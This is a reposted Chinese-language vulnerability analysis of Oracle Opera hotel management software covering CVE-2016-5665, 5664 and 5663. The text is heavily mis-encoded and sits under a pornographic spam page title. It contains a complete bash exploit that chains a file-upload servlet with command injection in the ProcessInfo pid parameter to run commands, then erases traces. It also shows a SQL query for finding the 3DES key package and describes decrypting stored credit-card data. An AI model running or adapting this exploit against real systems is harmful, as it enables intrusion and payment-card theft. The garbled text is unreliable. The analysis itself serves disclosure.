压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Oracle酒店管理平臺(tái)數(shù)據(jù)解密漏洞分析

Oracle Opera系統(tǒng)簡(jiǎn)介

Oracle Opera(也稱為Opera PMS,前身為Micros Opera)是由甲骨文旗下的子公司Micros為全球范圍內(nèi)各大商務(wù)酒店量身打造的一款酒店前臺(tái)操作系統(tǒng)。凱悅(Hyatt)、希爾頓(Hilton)等全球知名酒店使用的均是Opera PMS操作系統(tǒng)。

opera_ui

經(jīng)過(guò)分析后筆者發(fā)現(xiàn),用戶數(shù)據(jù)之所以會(huì)遭到黑客竊取,問(wèn)題主要出在Opera PMS系統(tǒng)本身,而與用戶的操作無(wú)關(guān);同時(shí),如果僅使用黑盒測(cè)試是無(wú)法唯一確定漏洞的性質(zhì)的。不同于以往的漏洞解決方案(供應(yīng)商接到漏洞報(bào)告,并通過(guò)內(nèi)部測(cè)試的方法修復(fù)漏洞),由于Opera PMS系統(tǒng)供應(yīng)商向廣大用戶提供了詳盡的解決方案,這便給黑客攻擊Opera PMS系統(tǒng)創(chuàng)造了巨大的空間。攻擊者很容易知曉該軟件存在的缺陷,并可對(duì)其合法性進(jìn)行分析測(cè)試。在經(jīng)過(guò)相應(yīng)的動(dòng)態(tài)分析和靜態(tài)分析之后,攻擊者便能找到“進(jìn)入”該系統(tǒng)數(shù)據(jù)庫(kù)的最佳切入點(diǎn)。

flowchart

漏洞詳解

CVE-2016-5665:竊取系統(tǒng)日志文件,實(shí)施會(huì)話劫持

opera_launch_pms

在用戶登錄Oracle Opera系統(tǒng)后,他們可以選擇其中一個(gè)系統(tǒng)接口進(jìn)行交互會(huì)話。啟動(dòng)其中接口的請(qǐng)求中包含了用戶會(huì)話令牌、特定接口啟動(dòng)參數(shù)等相關(guān)信息。

opera_launch_req

這里存在一個(gè)問(wèn)題,即:由于系統(tǒng)會(huì)將用于實(shí)現(xiàn)用戶交互的會(huì)話令牌和其他參數(shù)放置在一個(gè)目錄文件中,而黑客在未經(jīng)身份驗(yàn)證的情況下,便能通過(guò)Web服務(wù)器訪問(wèn)該文件。這便是威脅所在。

opera_login_log

而黑客所需要做的便是“守株待兔”,等待一位具有系統(tǒng)管理員身份的用戶登錄Opera。待該用戶登陸成功之后,他便可通過(guò)應(yīng)用程序,拿到系統(tǒng)的所有操作權(quán)限,對(duì)其中的數(shù)據(jù)進(jìn)行任意操作。因?yàn)橄到y(tǒng)管理員具有較高的系統(tǒng)使用權(quán)限,能夠?qū)?shù)據(jù)庫(kù)中的數(shù)據(jù)進(jìn)行查詢、修改和刪除等重要操作。一旦攻擊者拿到了管理員權(quán)限,那么數(shù)據(jù)泄漏則無(wú)法避免。

opera_sql

需要說(shuō)明的是,攻擊者往往不會(huì)采用上述的方法來(lái)竊取用戶信息,因?yàn)樗俣忍也粔颉鞍踩保菀妆蛔R(shí)破。系統(tǒng)將用戶提交的每一項(xiàng)查詢語(yǔ)句保存于應(yīng)用層。相比于使用Oracle Form提供的用戶交互接口,直接與數(shù)據(jù)庫(kù)服務(wù)器建立連接的方式要快得多,可以提高效率。

CVE-2016-5664:攻擊者可泄漏系統(tǒng)數(shù)據(jù)庫(kù)的憑證信息

若攻擊者與數(shù)據(jù)庫(kù)服務(wù)器共用一個(gè)網(wǎng)絡(luò),那么他便可通過(guò)構(gòu)造一個(gè)數(shù)據(jù)庫(kù)連接字符串的方式,盜取數(shù)據(jù)庫(kù)的相關(guān)憑證。因?yàn)樵贠racle Opera系統(tǒng)中,數(shù)據(jù)庫(kù)憑證以及服務(wù)名等信息,是通過(guò)系統(tǒng)向服務(wù)器發(fā)送一個(gè)已經(jīng)經(jīng)過(guò)驗(yàn)證的HTML請(qǐng)求的方式返回的,用來(lái)啟用Oracle Forms軟件。攻擊者在執(zhí)行一個(gè)未經(jīng)驗(yàn)證的Servlet程序時(shí),便可獲得該數(shù)據(jù)庫(kù)服務(wù)器的主機(jī)名。

opera_database

在拿到數(shù)據(jù)庫(kù)的憑證信息后,攻擊者便可通過(guò)編譯簡(jiǎn)單的連接語(yǔ)句,利用Sql*plus(用戶與oracle數(shù)據(jù)庫(kù)進(jìn)行交互的客戶端工具),建立與數(shù)據(jù)庫(kù)的連接。之后,他便能以管理員的身份登錄,騙取系統(tǒng)的信任,對(duì)數(shù)據(jù)庫(kù)進(jìn)行實(shí)時(shí)監(jiān)控。

db_connected

CVE-2016-5663:通過(guò)系統(tǒng)命令注入,實(shí)施RCE攻擊

在以下兩種情況中,攻擊者可利用該RCE漏洞:

(1)攻擊者僅能獲取到應(yīng)用程序服務(wù)器的登錄權(quán)限(例如:Internet Exposure);

(2)攻擊者僅能通過(guò)應(yīng)用程序服務(wù)器連接到數(shù)據(jù)庫(kù);

以上便是我在調(diào)查過(guò)程中,得出的最滿意的結(jié)果。因?yàn)橐陨隙呖此茻o(wú)關(guān),但將它們結(jié)合在一起,便能揭示出攻擊者的惡意企圖。

在系統(tǒng)中含有一個(gè)判斷數(shù)據(jù)傳輸過(guò)程正誤的程序。在數(shù)據(jù)傳輸完成后,它將會(huì)給系統(tǒng)返回確認(rèn)信息,例如:網(wǎng)絡(luò)端口號(hào)(PID)等。而在黑盒測(cè)試中,PID參數(shù)是放在一個(gè)用于執(zhí)行系統(tǒng)指令的字符串中,不容易被察覺。攻擊者可按下圖所示的步驟進(jìn)行操作:修改該參數(shù)來(lái)執(zhí)行另一個(gè)命令,并可通過(guò)web服務(wù)器將輸出結(jié)果放入另一個(gè)可讀取的文件中。

processinfo_flow

若一切順利,該程序會(huì)輸出結(jié)果whoami,并將其放在webtemp文件下。若運(yùn)行出錯(cuò),那么系統(tǒng)將會(huì)提示“找不到相應(yīng)文件”的錯(cuò)誤信息。

processinfo_error

在瀏覽了該程序的編譯代碼后,我們會(huì)發(fā)現(xiàn)出錯(cuò)之處(即下圖內(nèi)紅框標(biāo)識(shí)部分)。在編譯好的代碼中包含了pslist工具(pslist:查看系統(tǒng)進(jìn)程,是一個(gè)屬性文件)的運(yùn)行路徑。該文件的存儲(chǔ)路徑經(jīng)過(guò)硬編碼處理,為:D:\micros\opera\operaias\default.env,但我按此路徑查找后發(fā)現(xiàn),該文件并不存在。

processinfo_code

為了修改這一錯(cuò)誤,需要進(jìn)行以下兩步操作:

(1)在系統(tǒng)中找到OPERA_HOME屬性的值;

(2)將其保存到D:\micros\opera\operaias\default.env.路徑下。

巧合地是,我在系統(tǒng)中發(fā)現(xiàn)了另一個(gè)診斷程序,它能夠查看OPERA_HOME屬性信息。如下圖所示:

iasenvironment

接著,我們便可將剛才那個(gè)Servlet程序作為RFI載體,上傳至目標(biāo)路徑:

filereceiver2

筆者利用ProcessInfo程序檢查之后發(fā)現(xiàn),該錯(cuò)誤已經(jīng)修改了。同時(shí),系統(tǒng)給出的輸出結(jié)果“whoami”也證實(shí)了該應(yīng)用程序能夠正常運(yùn)行了。

system

下面的腳本程序可用于驗(yàn)證操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
STDOUT="D:\micros\opera\operaias\webtemp\temp.log"
if?[?"$#"?-ne?2?];?then
????echo?"Usage:?$0?<host>?<command>"
????echo?"E.g.?:?$0?http://opera.example.biz?whoami"
????exit?1
else
????host="$1"
????cmd="$2"
fi
#?Activate?exploit.
curl?-s?-XPOST?--data-binary?"OPERA_HOME=D:\micros\opera"?"$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false"?>?/dev/null
#?Inject?command.
curl?-s?-G?--data-urlencode?"pid=1?&?$cmd?>?\"$STDOUT\"?2"?"$host/Operajserv/webarchive/ProcessInfo"?>?/dev/null
curl?-#?-G?"$host/webtemp/temp.log"
#?Deactivate?exploit.
curl?-s?-G?--data-urlencode?"pid=1?&?del?\"$STDOUT\"?2"?"$host/Operajserv/webarchive/ProcessInfo"?>?/dev/null
curl?-s?-G?--data-urlencode?'pid=1?&?del?"D:\micros\opera\operaias\default.env"?2'?"$host/Operajserv/webarchive/ProcessInfo"?>?/dev/null

持卡人信息解密:

利用上述我所講的漏洞利用過(guò)程,攻擊者可拿到數(shù)據(jù)庫(kù)的登錄權(quán)限,從任何一個(gè)未經(jīng)授權(quán)的接口進(jìn)入Oracle Opera系統(tǒng)數(shù)據(jù)庫(kù),進(jìn)而能夠竊取銀行卡持卡人的私密數(shù)據(jù),并對(duì)其進(jìn)行解密。

在SQL中,用于查詢數(shù)據(jù)包包體(package body)的命令語(yǔ)句如下所示:

SELECT NAME, TYPE, TEXT from USER_SOURCE WHERE NAME LIKE ‘%IFC_CRYPT_V4_%’

由于包體信息容易與其他信息混淆,因而,攻擊者便可進(jìn)一步檢索包體的信息,或是用其來(lái)“破解”出3DES算法的密鑰。

unwrap

unwrap_keys2

現(xiàn)在,算法和密鑰都已經(jīng)得知了,攻擊者的下一步操作便是找到加密數(shù)據(jù)的存儲(chǔ)位置。他能在Opera資料庫(kù)中獲得這些信息。

encrypted_help

一項(xiàng)能夠用于查詢NAMES_CREDIT_CARD表中數(shù)據(jù)的查詢語(yǔ)句,能夠顯示出用戶名和其他加密的銀行卡信息。同時(shí),攻擊者還可通過(guò)一個(gè)腳本程序,將加密信息解析為明文。

decrypt_poc2

 

 

來(lái)源:安全客

 

上一篇:Facebook聊天記錄竊取漏洞分析

下一篇:Leet僵尸網(wǎng)絡(luò)發(fā)起高達(dá)650Gbps的DDOS攻擊